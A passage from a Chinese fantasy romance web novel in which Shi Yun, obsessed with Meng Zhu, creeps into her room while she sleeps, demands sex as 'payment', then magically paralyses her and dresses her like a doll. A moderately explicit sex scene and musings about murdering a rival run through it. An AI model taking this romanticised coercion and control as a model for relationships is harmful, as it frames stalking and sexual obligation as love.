孟竹又想起从小到大,自己曾经被表白过的次数,总有那种奇奇怪怪的男生,像是挑战一样一个个往她面前凑,把多跟她说一句话当作打赌的玩笑。 她不太清楚审美这种东西,但是,以她曾经浅薄的经历来看,应该还算是合格的长相吧? 孟竹伸手,把头发散了下来,又左右看了看镜中的自己。 镜子里的人也冷淡地看着她。 她的眼皮很薄,看人的时候下方的眼白偏多,就是别人常说的那种三白眼,不笑的时候显得又冷又凶。 孟竹搓了搓自己的脸,对着镜子咧着嘴笑。 镜子里的人也咧嘴笑,看起来像嘲讽人一样,还透着一股说不上来的傻劲。 孟竹的脸垮下来。 她想了想,忽然想起之前在坊市里买的那些胭脂首饰,孟竹把那些妆匣盒子一股脑地都拿出来,一个个打开。 依着之前胭脂铺老板娘帮她妆点的步骤,开始描眉画眼。 该说不说,化妆这种事情真的需要天赋,这眼线一往眼皮上怼,不是歪了就是斜了,手抖得像筛糠似的。 那胭脂往脸上一抹,红的黄的,一团一团,晕都晕不开,怎么看怎么滑稽。 罢了罢了,她确实不擅长。 孟竹自动跨过了这一步,她琢磨着自己的发型,想起那天挽发的步骤,又开始折腾自己的头发。 一段时间后,孟竹看着镜子中编了两个麻花辫的自己,脑袋上戴了各式各样的钗环,脸上一团团艳红的胭脂,粗长的、深浅不一的眉毛。 呵呵。 她冷笑了一声,对着镜子里的人说。 你的品味也不过如此。 孟竹把乱七八糟像是鸡窝一样的头发重新散下来,去浴房洗了个澡,将脸上那些腻人的脂粉洗掉,感觉终于舒服多了。 她已经放弃色-诱这条路了,行不通的。 她没有这个天赋。 太难了。 洗完澡,她换了身宽松的衣服坐在窗边,夜风轻轻吹着,很舒服,孟竹折腾了半天,一点也不想动,就等着头发自动吹干。 雪白的猫儿在她脚边蹭来蹭去,发出黏腻软甜的叫声。 孟竹将猫儿抱起来,有一搭没一搭地摸着,听着它在腿上越发慵懒的呼噜声。 不知怎地,孟竹听到那一阵阵规律的呼噜声,眼皮止不住地往下耷,她看了眼天色,虽然已经入夜了,但这个点还不是她睡觉的时辰。 可能是最近太累了,孟竹打了个哈欠,把猫抱在怀里躺到榻上,一沾枕头便失去了意识。 在她阖上眼的一瞬间,门栓咔哒一声,开了。 施允推开门,慢慢走到孟竹的床边,他静静地站着,看着孟竹的脸。 她又在精心打扮了。 打扮给谁看? 是那个男人吗?可他已经离开了。 孟竹还想着那个人吗? 他果然应该杀了霍予,就在那个晚上,让那个人彻彻底底地死掉,可他已经错失了良机。 施允缓缓思索着,要去丰城再杀他一次吗? 若是杀了他,孟竹知道以后,会是什么样的态度? 会恨他吗?还是从此以后都会离他远远地,像现在这样,不再触碰他,不再理会他。 孟竹真的会像那个男人所说的那样,同他一起去往另一个,他所不知道的世界吗? 施允的视线往下滑,落在孟竹臂弯里的猫身上。 那只猫慵懒餍足地睡在她的怀里,舒服得一阵阵打着呼噜。 凭什么? 施允伸手,拎着那只猫的后颈把它从孟竹的怀里拽了出来。 乍然从香甜的睡梦中被惊醒,猫儿吓得叫了出声,瞪大了瞳孔,用四只短短的爪子去挠施允。 施允将它拎远了些,同那只猫对视。 他面无表情地看着那只猫,道:“你也该死。” “滚开。” 说完,他把猫丢至一边,用一道术法做成笼子将它困在角落。 猫儿愤怒地隔着笼子冲着施允挥动爪子,嘴里发出威胁的嘶叫声,施允回过头,猫儿盯着他的眼睛,又默默地蹲回了原处,舔了舔毛。 施允重新转过身,在黑夜里站了很久,久到快要变成一座石像,他才终于动了动。 然后,他代替那只猫,睡在了孟竹的怀里。 施允并没睡着,他睁着眼睛一直盯着孟竹看。 他感觉到了孟竹身上的温度,又靠得近了些,修长的身形蜷缩成一团,好像冷极了。 施允伸出手,指尖一寸寸划过孟竹的眉眼、挺秀的鼻尖、落在那柔软的唇上。 孟竹闭着眼睛的时候,他便不讨厌她了。 看不见那种让他心脏痛到发麻的眼神,看不见她笑起来逗他的模样,看不见她不经意凝望着他的那双动人的眸色,那便不心烦了。 可又有另一种欲壑难填的感觉涌了上来。 该如何做呢? 要如何让这纷乱到几近发疯的思绪停下来呢? 他握住了孟竹的手。 他想起孟竹吻他的模样,那只手在他的发间揉弄,叫他浑身的骨头都要软下来。 是那种感觉吗? 施允握着孟竹的手,带着她的手落在自己的发上,轻轻地,一下、一下地滑动。 忽然,他的动作又停下。 不是这种感觉。 这一点都不令他舒服痛快。 为什么? 难道非要孟竹主动来摸他、触碰他,他才会感到畅快吗? 可他不可能乞求任何人的怜爱。 那样丑陋的姿态,太难看。 他绝不可能这么做。 可心里满胀的情绪找不到发泄口,他又一点点蜷缩进孟竹怀里,抱紧了面前这个唯一温暖的热源。 “……不许走。” “没有我的同意,你哪里都去不了。” 施允低声喃喃自语,知道孟竹听不见,看不到,所以他用力地、几近贪婪地呼吸着孟竹身上的味道,许多个日夜未睡的身体终于感到了前所未有的疲惫。 他像是一个终于找到家的人,泪水无声地滑过施允的眼角,贴着他的脸落进孟竹的手心。 就这样吧,这样没有人能看见他丑陋不堪的模样。 他闭上眼睡了过去,意识渐沉。 他想着,就放纵这一次吧- 阳光透过窗户洒了进来,鸟儿跃上枝头,叽叽喳喳,相当吵闹。 孟竹睁开眼,舒舒服服地伸了个懒腰,她这一觉睡得相当好,一夜无梦。 她很久没有睡过这么长时间,拥有过这么棒的睡眠质量了。 孟竹从榻上坐起身,一阵风从窗外吹进来,孟竹的鼻尖微动。 隐隐约约的,她好像闻到了一股熟悉的香味。 很淡的,若有若无的,像是施允身上的味道。 孟竹又仔细闻了闻,那香味浅淡,风一过,又几乎闻不到了,好像只是她的错觉。 孟竹心中冒出一个奇怪的想法。 她不会想施允想出幻觉了吧? 要命。 孟竹摇摇头,甩开这奇怪的想法,猫儿凑了过来,在她脚边来回地蹭。 叫声同往日里的软腻不同,九曲十八弯的,像是有什么不满似的。 孟竹觉得它饿了。 猫儿用爪子扒拉她的裙角,又翘着尾巴跳上了榻,窝着像是睡着了,可没两下,它又扑通一声滚下来,像是委屈巴巴的样子缩在床对面的角落里。 孟竹觉得好笑,这小猫像是为了讨食表演杂技一样。 她蹲下身,走过去轻轻摸了摸猫儿的脑袋,道:“好了好了,我知道了,马上给你弄饭吃。” 猫儿又垂下脑袋,看起来蔫头耷脑的。 喂饱了猫儿,孟竹梳洗了一番,看了眼榻上被她踢得乱七八糟的被褥,准备把床铺稍微整理一下。 孟竹叠着被子,重新把榻上的被褥整理铺平。 忽然,她的视线落在床边的某处,她用手拢了拢,从榻上捻起了几根长长的发丝。 孟竹捏着那几根发丝,心中简直骇然。 想她不过年方二十余岁,就已经焦虑到开始有秃头的烦恼了吗? 第46章 代价 脸和审美已经没救了,但是头发不一样,头发还有得救。 孟竹开始注意养发生发的事情,她有些忧愁地叹了口气,感觉最近真是诸多不顺。 这段时日以来,她还是没能见到施允,他就像是凭空消失了,连个人影都看不见。 孟竹不禁有些纳闷,她那纸文书已经送上去许久了,她也去问过几遍,得到的回复都是,不予批准。 这个回复她不意外,只是为什么? 吕一都能走,她却不能走。 总有个理由吧,孟竹坚持不懈地问了几遍,只得到了一句话,没有理由。 饶是孟竹再沉得住气,此刻也忍不住有些生气了。 她等不了了,她必须马上见到施允。 说干就干,这日学府下了课,她便收拾了一番,一路直奔城主府。 城主府在玉都的中心,高大巍峨的宫殿矗立着,看起来威严厚重,守卫森森。 孟竹在门口徘徊了一阵子,在想,不会进不去吧。 管他呢,试试。 她走上前,门口的一排守卫立刻用长剑拦住了她,“来者何人?” 孟竹往后退了一步,直接表明了来意,“我来找施允。” 一排守卫面面相觑,为首的那个直接笑出了声,上下打量了孟竹一眼,她还穿着学府的校服。 侍卫首领面带嘲讽地问她:“看你的样子,是学府的小修士吧?” “少城主什么身份,也是你这种人能随随便便见的?” 孟竹掀起眼皮看了他一眼,“怎么?见一面还要分身份了?” 原来她现在连见施允一面都这么难,施允不来找她,她就真的见不到他。 这让孟竹心中产生了极其不平衡的感觉。 凭什么? 侍卫首领笑了一下,似乎为孟竹的天真感到好笑:“少城主日理万机,要见他的人数不胜数,你算哪根葱,还直呼其名地想要闯进来。” 他抬了抬下巴,道:“滚远点,我不想对姑娘动手。” 孟竹淡笑着点头,往后退了一步,道:“行。” 没等那个侍卫反应过来,她便一脚踹了过去,巨大的力道将那人冲击出去,连带着身后的人都倒了一片。 那人骂了一句,立刻爬起来,怒声喊道:“把她抓起来。” 一片兵器交接的声音响起,两排守卫立刻涌向孟竹。 孟竹侧身躲开面前的长剑,又是一脚横踢,然后,抓着迎面而来想要攻击她的守卫的两个脑袋,狠狠一撞。 “你挺凶啊。”侍卫首领的脸冷下来,扬声道:“胆敢擅闯城主府,兄弟们,杀了她。” 他脸上挨了孟竹一拳,火辣辣地疼,心中怒气翻涌,他还从没被女人揍过。 孟竹正被其他人纠缠着,他瞅准了时机,长剑一拔便要向孟竹的腰腹刺去。 一道声音忽然止住了他的动作。 “何人在此喧哗?” 守卫们的动作都不约而同地停下,他们看向来人,自动让开了一条道。 孟竹停手看去,果然是熟人。 韩韬从让开的那条道中走了出来,他偏了偏头,正好同孟竹的视线撞上。 他冷笑了一下,“哟,原来是你啊。” 侍卫首领立即跪了下来,“公子,这人在城主府门口闹事,极其难缠,我等迫不得已才扰了公子的清净。” 他的视线横向孟竹,“我们这就把她抓起来,此等罪行就算杀了也不为过。” 韩韬看了他一眼,面上似笑非笑的,又抬眼看向孟竹:“你来做什么?找施允?” 孟竹揉了揉手腕,“怎么?你也要同我打一架?” 韩韬静静地看了她半晌,道:“放她进去。” 侍卫首领垂着的脑袋猛地抬起,震惊道:“可是,她并没有通传令,这样未免……” 韩韬偏过头:“怎么,我说的话也没用了么?” “我说放她进去,没听到吗?” 侍卫首领垂下头:“是。” 守卫们哗啦啦地收起了阻拦的武器,自动退到两旁。 孟竹往里走,同韩韬擦身而过的时候,他忽然叫住了她。 “孟竹,我不知道你同施允之间发生了什么,但是,你别害他。” “否则,我会亲手杀了你。” 孟竹的脚步顿住,偏过脸同韩韬对视。 她点了点头,说:“好。” 孟竹被侍女引着,穿过宫门,走过蜿蜒曲折的回廊,大概一刻钟的时间,才终于在一扇门前站定。 那名引着她进来的侍女冷眼打量了孟竹一眼,道:“你在此处等着,我去禀明少主。” 只是她刚上了台阶,还未开口,门便开了。 “让她进来。” 侍女停顿了一下,垂下头行了个礼,“是。” 她转过头看着孟竹,脸上的神情同这城主府内的所有人一样,高傲的,睥睨的模样。 “小心着点回话,主子近来心情可不算好。”她冷着脸吩咐孟竹。 孟竹挑了挑眉,没说话。 侍女见孟竹这模样,又发出了一声意味不明的嗤笑,转身走了。 孟竹上了台阶,进了那扇被敞开的门。 那间空荡的,如同宫殿一般的房间内,她的脚步声都能带起一阵回音。 一重又一重的珠帘下,她都看不清那个熟悉的身影。 玉珠碰撞,泠泠作响,她掀开最后一道珠帘,望见了斜靠在软塌上的人。 他手中拿着一卷书册,漫不经心地朝着孟竹抬眼看来。 孟竹的呼吸都停了一瞬。 进来的时候,她才发现这座宫殿内有种不同寻常的热度,已经是春日快要结束的时候了,房间内还燃着炭盆。 施允的身上居然还披着一件厚重的狐裘。 那张曾经惊心动魄的容颜,瘦得几乎凹陷下来,苍白的脸上连一丝血色都没有,就连那头如流水般柔滑的墨发也黯淡了几分。 可他依然用那样高傲的眼神望着她,俯视着她,永远不肯低头的模样。 “你来做什么?”他的声音有些沙哑,似乎是很长时间没有开口说话,嗓音如同卡着沙砾一般。 他们之间的距离,不过数尺,在这偌大的宫殿中,却显得格外地遥远。 孟竹看着那张脸,竟觉得有种恍如隔世的感觉。 “我来要一个答案。” “哦?”施允的指尖泛白,捏着手中的书册随意地翻了两页,垂下眼不再同她对视,“什么答案?” 孟竹静静看着他,“你明知故问。” 他太瘦了,几乎连衣服都快要撑不起来了。 厚重的狐裘披在他身上,时不时滑下来,那瘦薄的背脊如同纤细的翅膀一样,一折就会断掉的模样。 施允沉默了一瞬,他脸上浮起一丝笑容,又看向孟竹:“你是指那封文书所指的事情么?” 他微笑着对孟竹道:“我不同意,你便走不了。” 孟竹站在原地,看着他浅淡的笑容,没说话。 施允似乎并不在意孟竹的回答,他向后靠了靠,拢了拢身上的狐裘,似乎很冷的模样。 他嘴角噙着那抹笑,问孟竹:“你当这里是哪里?你想来便来,想走便走?” “你是不是太看得起自己了?” 施允的嗓音不紧不慢,带着上位者的姿态,提醒着她和他之间犹如云泥一般不平等的地位。 驯服一头不乖顺的野兽,首先要做的是什么? 是先假意臣服它,降低它的警惕心,然后再乘其不备将它关进笼子里吗? 孟竹偏了偏头,有些缓慢地思索着。 不对。 是打碎它的牙齿,踩断它的背脊,吮吸它的血肉,咬断它的脖颈,吞吃它的心脏,让它永永远远地和她融为一体。 哪怕是死亡,他们也永远不会分开。 成为她永远的家人。 她忽然想起禁术中有一种术法,可以将人的灵府剖开,掏出人的灵核,将它全部吸取,为己所用。 失了灵核,浑身的灵脉尽毁,想要续命,就只能仰赖着术主。 孟竹想了想,觉得那样又太过索然无味。 她还是更喜欢带着傲气的施允。 所以,她还需要多一点的耐心。 孟竹一步步向前,直到膝盖被桌案的边缘抵住,她才停了下来。 孟竹俯身,手撑在书案上,问:“所以,我便走不成了?” 施允似乎对这距离有些不适,微微往后仰着,“那日在藏书阁,你不是问我,付出有没有代价么?” “嗯?” 施允嘴角的笑容加深,“从前我不懂,现在我知道了,所有的事情都得有代价。” 孟竹的心扑通、扑通地跳动起来,手指用力扣紧了桌案的边缘,“什么代价?” 施允似笑非笑地望着她,眼神一寸寸从孟竹的脸上擦过,将她从头到脚看了个遍。 孟竹被那视线看得头皮发紧,脊背都涌上来一股莫名的,像是电流一般地颤意。 “你这通身的修为,脑海中所有的术法,来到仙洲的机会,不都是我给你的么?”施允停顿了一下,掀起眼皮,慢悠悠道:“这些,你难道不需要付出代价吗?” 施允的回答让孟竹愣了一瞬,他总是这样,在她的意料之外,总让她有种开盲盒的刺激。 “好啊。”孟竹嘴角的笑容慢慢绽开,“你说说看,需要我付出什么样的代价呢?” 施允唇角的笑容一顿,眼睫颤动了两下,似乎根本没想好接下来的说辞。 孟竹伸出手,指尖轻轻勾起他垂在脸颊旁的一缕发。 “快告诉我,我真的非常非常好奇。” “嗯?” 孟竹的眼神像一潭深不见底的黑泥,吸引着他不断下坠。 半晌,施允挥开她的手,冷着脸看着孟竹。 “你浑身上下根本没有任何有用的价值,不过……”他的话音一顿,眼神轻佻地看着孟竹。 “你若是愿意用身体偿还,我倒是可以考虑看看。” 他的话音落下,又垂下眼睫,不再看孟竹的表情,低声道:“反正,你也就是这样水性杨花、朝三暮四的女人。” 孟竹始终没有说话。 施允看着桌案,视线又落在孟竹撑着桌案的那只手上。 然后,他看见那只手抬了起来。 他的下颌被捏住,视线随着那只手一起被抬着向上,又看到孟竹弯着的眼睫。 他听到孟竹含笑的嗓音,柔羽似的吹进他的耳朵里。 “好啊。”孟竹笑着,“请收取我的代价吧。” 第47章 沉沦 夜风吹动纱帘,在燃着暖香的浴房内,轻轻晃动。 孟竹靠在浴池的边缘,想起方才施允冷着脸对她说:“那就洗干净,等着。” 与他强硬的语气不同,他起身的时候,被桌脚磕绊了一下,几乎是落荒而逃的模样。 孟竹想着,脸上带着抹浅淡的笑容。 她觉得施允真的倒霉。 过分倒霉了。 从小到大被规训着长大,拥有的不想要,想要的得不到,到头来,吸引到的却还是她这样的烂人。 可那能怎么办呢? 她见到好东西可不会撒手。 孟竹从浴池中起身,捞了件雪白的轻纱长裙换上,身后的长发被孟竹用一根木簪子随意挽起来。 孟竹推开门,赤足踩在柔软的地毯上,掀开厚重的重重珠帘,看着坐在榻上愣神的人。 “洗干净了。”孟竹轻声开口。 施允似乎被孟竹的声音惊了一下,瞬间将歪斜的身子坐正了,他抬起视线看了孟竹一眼,又飞快地垂下眼睫。 “嗯。” 孟竹走过去,每走一步,她都能看到施允的眼睫颤动一下。 直到走到榻前,她蹲下身,伏在施允的膝上,仰头望着他,“在想什么?” 施允抿着唇,一言不发。 他抬起下巴俯视着孟竹,评价道:“你看起来也不过如此。” “哦。”孟竹点了点头,伸手捏了捏他垂在膝上的手指,“不喜欢啊?” 施允的手指很长,洁白莹润,骨节分明,细长的手指被捏在手中把玩的时候,带着些微凉的触感。 孟竹从很久之前就发现,她很喜欢施允的这双手。 他好像没有什么地方是不好看的,就算瘦成了如今这般模样,孟竹还是觉得他非常、非常美丽。 施允的喉结重重一滚,他深吸一口气,却偏过头,不看孟竹了。 他的视线不知道落在哪里,侧着脸道:“不喜欢。” 孟竹压着唇角,伏在他膝上歪着脑袋看他:“你不是想要我的身体吗?不看我,怎么要?” 施允的头缓缓转过来,用一种一言难尽的眼神看了孟竹一眼。 要? 要什么? 为何孟竹说话总是这般不知羞耻? 哪有姑娘家像她这般模样的? 施允的耳根火辣辣地发烫,他看着孟竹淡笑的、平静的模样,心中顿时起了一股莫名的恼意。 她同霍予在一起的时候,也是这般模样吗? 这般驾轻就熟的模样,是因为她很有经验吗? 像是有千万只蚂蚁啃噬他的心脏,施允的手指忽然攥紧,一把拽起孟竹将她推倒在榻上。 他站起身,冷眼打量着孟竹,“你自己脱。” 他想要看到孟竹羞恼的模样,而不是这样似是而非地看着他,戏弄他。 没听见孟竹的回答。 施允唇角勾起,语带嘲讽地问她:“怎么?不会伺候人么?” “你看起来很有经验的样子,应该不用我来教你吧。” 这回,她总该感受到什么叫羞辱,什么叫屈从。 话音刚刚落下,孟竹便把那套轻薄如水的纱衣扯下,她低头看了一眼,深觉自己的选择十分正确,这套比平常那些复杂的衣裙好脱多了。 腰间的衣带一解,便能非常丝滑地整套褪下来。 孟竹视线抬起来,刚要开口说话,便看到站在榻前的施允猛地退了两步。 施允捂着鼻子,血从他的指缝间不断落下。 孟竹:“……” 这情况怎么似曾相识。 孟竹起身,“……没事吧你?” 施允看着孟竹的动作,一瞬间退得更远,站在离她更远的十米开外。 “……” “……” 孟竹无言地看了施允半天。 她叹口气,又重新把那套纱裙穿上。 真难啊。 穿上衣服以后,施允还站得离她远远的,孟竹从榻上起身,问:“你要一晚上都站在那儿吗?” 施允慢慢走过来,整个耳根连带着脖颈都泛着红,可他依然冷着一张脸看着孟竹,一言不发。 他的脸上还有着残留的血痕,同他的表情显得极为割裂。 “怎么了这是?”孟竹忍住笑,“身体不舒服啊?” 施允盯着孟竹,曲起手指将脸上的余痕擦去。 孟竹十分善解人意地提出建议:“那要不你改天再来收这个代价?” 她状似有些苦恼地打量了施允一眼,“你看起来好像不太行的样子,身体很虚吗?” 闻言,施允的动作一顿,“你说谁体虚?” 孟竹没说话,从他身侧经过,慢慢往外走。 一步,两步,三步…… “我允许你走了吗?” 她听到施允的声音自身后响起,孟竹回头,无辜道:“我没想走啊,我是准备去膳房帮你看看,有没有什么补身子的汤?” 孟竹掰着手指头,慢慢道:“加上点鹿茸、淫羊藿、锁阳……” 施允的脸色一变再变。 他咬着牙冷笑一声,直接上前攥住了孟竹的腰身,一把将她扛到了肩上,快步朝着榻上走去。 孟竹的视线一瞬间倒悬,她的头发垂落下来,随着施允的步伐在眼前一摇一晃。 直到她被扔到榻上,施允迅速俯身压了过来。 他按住孟竹的手腕,将她的双手压至头顶,沉沉看了她一眼,道:“我会让你后悔的。” 孟竹的手动了动,脸上终于露出了一丝惊慌失措的表情,似乎想要起身挣扎。 “不要呀……” 手腕被更用力地往下按,施允的力道很大,另一只手用力地扣住了她的腰身。 他似乎很满意在孟竹脸上看到的这种表情,嘴角勾起一抹笑:“怕了?” 孟竹看着那双忽然生动起来的眉眼,绷着唇角道:“……放开我。” “呵。”施允冷笑一声,“晚了。” “说了你不知死活,你总要受到点教训。” 说完,施允低头,一点点解开孟竹胸前的细带。 他脸上并没什么多余的表情,修长的手指一寸寸隔着单薄的纱裙探了进去。 孟竹能感觉到那微凉的触感在她的皮肤上发颤。 施允垂下的长睫不停颤动着,脸上的薄红一点点晕开,连耳朵都透着红霞般的艳色。 她想要抬手,又被施允攥着手腕按了下去。 “别动。” 他的呼吸都乱了,垂下来的一缕墨发扫在孟竹的脸上,有一点痒。 同他强硬的语气不同,他的动作始终轻柔的,像片羽毛似地落在孟竹的身上,像是对待什么易碎的物品,始终小心翼翼的模样。 孟竹不知何时被解放的手落下来,抚摸着他的背脊,她能摸到那凸起的流畅的骨骼,在她的指尖下发出细微的颤动。 她始终沉默地看着施允,看他脸上的神情,看他情动的热潮,看他的眼神一点点像火一样烧起来。 似乎被孟竹的眼神看得有些不适,施允的指尖动了动,宫阁内的灯忽然就灭了。 厚重的床幔落下,只剩下了一点月光照进来。 施允伸出手,覆上孟竹的眼睛,低头吻她。 “……别看我。” 他的声音很轻,带着些难耐的喘音。 孟竹眨了眨眼,睫毛擦过施允的掌心,她闭上了眼,轻声道:“好,不看了。” “不过……”孟竹笑了笑。 “你要磨蹭到什么时候?” 施允的动作一顿,他的手移开,孟竹并未睁眼。 很快,她感觉到眼皮上有什么东西扫过,很软很轻,像是被覆了一条白绫。 孟竹听到施允的声音,在她耳边,低声道:“你欠我的代价,我收了。” 她的腰间一紧,有一种密密实实的感觉挤压着她,针刺似的。 她又感觉到前所未有的满胀。 孟竹在这一片满胀中,又晕乎乎地想着,先前施允的反应这么大,她还以为他连位置也找不到呢。 她都准备好了继续逗弄他,嘲笑他,用尽力气欺负他。 直到他为她低下那高傲的头颅。 在一片黑暗中,所有的感官都被放大,孟竹恍恍惚惚地,唇又被堵住。 灼热的呼吸纠缠上来,有一种奇异的力道冲击着她,像海潮一样淹没了她。 孟竹的脚尖像过电一样紧绷着,她能感觉到那起起伏伏的呼吸声,贴在她的唇边,耳畔。 “孟竹……” “孟竹……” 她听到施允叫她的名字。 是什么时候开始的呢? 第一眼见到施允,他站在鬼气森森的灵堂中,如同一团热烈明媚的火,那双勾魂摄魄的望过来时,她当时在想什么? 她想起来了。 她觉得,这个人真是令人生厌。 太高傲了,又太干净了,像月亮一样。 站在那片月光下,所有的阴暗都无处遁行。 她讨厌那样的感觉,那遥远的、不可触碰的感觉。 可眼前真实晃动在她耳畔的发、灼热纠缠着的呼吸和低声唤着她名字的嗓音,又切切实实地存在于她的身边。 那只从云端伸出的手,被她拉下来了吗? 恍惚间,孟竹感觉到有一点一点的温热逐渐落在她的脸上、胸口,微微的烫。 她心口一跳,想要揭开眼前覆着的白绫。 可施允的手紧扣着她,十指插-进她的指间,密密实实地压着她,紧密地纠缠着。 “施允?”孟竹感觉到那温热的液体越来越多,想要起身。 她感觉到自己被施允抱了起来,坐在他的身上。 他在发抖。 浑身剧烈地颤抖着,却依然不让孟竹摘下她眼前的白绫,让她瞧见他的模样。 “让我看看你……”孟竹在一片黑暗中摸索着,揉了揉施允的发。 她放软声调,诱哄似的,“让我看看你吧,好不好……” “施允,你在哭吗?” 那些温热的液体似乎有些黏腻,孟竹的身体被他紧紧抱在怀里,她感觉到自己的脖颈传来一阵强烈的疼痛,施允偏过头在她颈边咬了一口。 她不由自主地倒吸了一口气,因为疼痛而蹙起了眉。 黑暗中,她终于听到施允的声音,沙哑着,一声声地喊着她的名字。 “孟竹……孟竹……” 那压抑得不成声调的嗓音,带着灼热难耐的呼吸喷洒在她的耳边:“……孟竹,你在玩弄我。” 第48章 输了 孟竹心口一跳,直接将眼上的白绫扯了下来。 她瞬间屏住了呼吸,瞳孔一瞬间放大了。 施允的脸上、胸口、包括她的身上,血迹蔓延开来,整张榻上都是蜿蜒遍布的血痕。 简直像是什么凶案的现场。 施允松开了她,半阖着眸靠在榻上,他的脸上还有未褪去的情潮,连带着眼尾都是湿红一片,宛如一朵盛开在血泊中的玫瑰。 艳丽又诡谲,带着奇异的芬芳。 他不言不语,就这么盯着孟竹。 在这样长的时间里,他的视线一直停留在孟竹身上,她甚至不知道他在想什么。 施允流了太多的血,不仅仅是从鼻孔里,还有他的唇角,不断溢出的鲜血让孟竹一瞬间慌了神。 “施允……”她感觉到心脏跳动得快极了。 “……你怎么了?” 孟竹伸出手,想要擦去施允唇角不断溢出的血,手刚要抬起来,就被施允一把攥住。 他微微偏着头,掀起眼皮看了孟竹一眼。 “孟竹。” 施允的声音平静无波,却让孟竹有一种,什么东西逐渐在脱离她掌控的错觉。 “后悔也来不及了。” 孟竹刚想开口,却发现自己的完全发不出声音来。 她张着嘴,用力喊了两声,嘴里只能发出微弱的气音,想要动一动手脚,却发现浑身上下连一根手指头都动弹不得。 孟竹沉下脸,用眼神询问施允。 施允松开她的手,慢慢用锦帕擦掉唇齿间不断溢出的血。 他苍白的脸上异常平静。 “别怕。”施允轻声说。 他起身抱着孟竹走到了浴池中,一点点帮她擦洗干净那些留下的余痕。 在这过程中,孟竹感到了前所未有的陌生。 不久前那颤动着眼睫,多看她一眼都羞愤欲死的人,面无表情地看着她的身体,甚至亲手帮她清理了那场情爱的欢痕。 不对劲。 孟竹甚至感受到了一丝慌张。 她根本掌控不了现在的这个局面。 一切仿佛按下了什么奇怪的开关,进入到了另一种,荒诞的局面。 施允到底想做什么? 可她现在连一句话都说不出来,只能用眼睛盯着施允看。 他慢慢起身,将自己的衣服穿好,又取了一套崭新的长裙给孟竹换上。 施允像是对待一个洋娃娃*一般,一件件帮她穿戴齐整,将她的衣带系得整整齐齐,像是怕她冷,又为她套上了一件披风。 最后,他蹲下身,垂下眼,握住孟竹的脚踝一点点帮她穿上了罗袜和绣鞋。 他牵起孟竹的手,将她拉起来,掀开重重玉帘,引着她来到一个房间。 这是一个像是女子的房间,梳妆台上放着各式各样的妆奁和胭脂,一应俱全。 孟竹像是一个被人禁锢住的木偶,只有在他的牵引下才能动作。 很奇怪的是,她并不反感这种感觉。 孟竹的心怦怦、怦怦地跳动起来,面上却露不出任何表情。 她被拉着坐在那面铜镜前,视线望着那面镜子中的自己。 镜子里的人木着一张脸,但那双眼睛依旧在寻找机会去看施允,去试探他的意图。 施允的手贴上孟竹的脸,将她的视线定格在镜面上,在她耳边轻声道:“你看,你都这样了,这双眼睛还是不安分。” 铜镜中倒映着施允的半张脸,和孟竹的脸贴在一起,他却半偏着头,让孟竹看不清他的表情。 很快,施允便松开了她,他拿起桌面上的一把木梳,一下下为她梳着头发。 他的手指一点点在孟竹的发间穿梭,非常娴熟且利落地为她挽了一个漂亮的发髻。 孟竹看着镜子中那个为她挽发的男人,不由有些难以置信。 施允是什么时候学会这些的? 让她有些羞愤的是,这挽发的技术可比她好上太多了。 施允为她挽好发髻以后,稍稍打量了孟竹一眼,嘴角微微扬起,像是很满意的样子。 她的视线短暂地同施允对上,孟竹用力地眨了眨眼。 你到底想干嘛? 施允笑了一下,视线移开,手指搭上桌上的妆奁,从里面取出一只蝴蝶发簪,他垂眸凝视了一会儿那只发簪,拿在手中稍稍把玩。 孟竹看着那细瘦修长的指尖轻轻擦过珠花,带来一阵细微的颤动,让她莫名有些脸热。 她的视线落在施允的脸上,他手中把玩着那只发簪,没什么特别的表情。 沐浴后,他的发只用一根发带松松系着,秀丽的眉眼被光影照得如山间远雾一般朦胧,薄红的唇勾着,有种漫不经心的慵懒。 她总觉得,历经了情事的施允身上,仿佛褪去了某种东西,一举一动,说不出来的…… 可孟竹现在也说不出来什么话,只能干瞪着眼看着他。 很快,施允便走到孟竹的身后,微凉的手指替她拢了拢耳畔的碎发,将那只发簪稳稳插-进她的发间。 蝴蝶发簪上的流苏轻晃,又被那只手轻轻拨了一下,在铜镜的倒影中,孟竹只看得到那半片落下的衣袖。 做完这些事情以后,施允好像还嫌不够,他看了眼孟竹的脸,拿起一支青黛为她描眉。 那支青黛轻轻地从孟竹的眉上扫过,一笔落下,勾勒出远山似的眉眼。 他的动作很轻,但稳,像是已经这样做了无数遍。 他的呼吸轻轻吹在孟竹的脸上,眼眸专注地落在孟竹的眉眼间,似乎这世上再没有什么事情比眼下更重要了。 孟竹的心,仿佛也随着那支青黛而动,一笔一画,都像是落在了她的心上。 施允半蹲着,孟竹的视线落下来,看他为自己上了一层淡淡的胭脂,点了唇。 他做这一切的时候都无比自然,似乎并不觉得这些事情由他来做有什么不对。 “好看么?” 施允在孟竹膝前半蹲着,仰着脸,轻声问她。 可孟竹什么话也说不出来,只能再一次用力地眨了眨眼。 他似乎终于想起孟竹不能说话的事情,但他好像也不太在意孟竹的回答,自顾自地将孟竹拉起来。 施允给孟竹穿的这套衣裙看起来很复杂,一层套一层,用的却是极为轻软的料子,并不显得厚重,起身的时候,轻纱裙摆上绣着的金线映着灯影,像是重重叠叠铺开的,如浪似的繁花。 他蹲下身为孟竹理了理裙摆,站起身,向后退了一步,静静地看着她。 “好看。”施允说。 从前,施允的嘴里从来只会说,很丑,村妇,难看,走开,滚远点。 孟竹不由在想,难道自己的审美真的差到让施允难以忍受,准备自己上手来改造她了吗? 可这已经深更半夜了,她真的有些摸不清施允到底想做什么了? 刚才他身上的那些血又是怎么回事? 可施允却不准她问,不准她动。 难得一见的霸道。 施允走过来,牵着孟竹往外走。 走着走着,他忽然开口,声音落在孟竹的耳边:“我见过你在房间内为那个男人梳妆打扮的模样。” 孟竹的呼吸猛地一滞。 什么时候? 她的头转不过去,只能用余光看着施允。 他半边的嘴角翘起,看起来像是在笑,语气中带着些叹息似的意味:“眉画得歪歪扭扭,脸上的胭脂也涂得乱七八糟,头发更是惨不忍睹。” 孟竹想起了那天,她不禁有些诧异,施允当时在? 为何她丝毫没有察觉? 顿了顿,施允又道:“我一直想看你为了我而这样盛装打扮一次。” 孟竹:“……” 他摇了摇头,笑了一声:“我大概是疯了。” 施允牵着孟竹,一路出了宫门,他将孟竹抱在怀里,足尖轻点,跃至夜空。 脚下的玉都城在夜晚如同一片流动的星海,倒映着万千繁星。 那片盛景逐渐远去,慢慢消失在地平线。 直到孟竹又看到那片纷纷扬扬的花海。 又是那片桐花林。 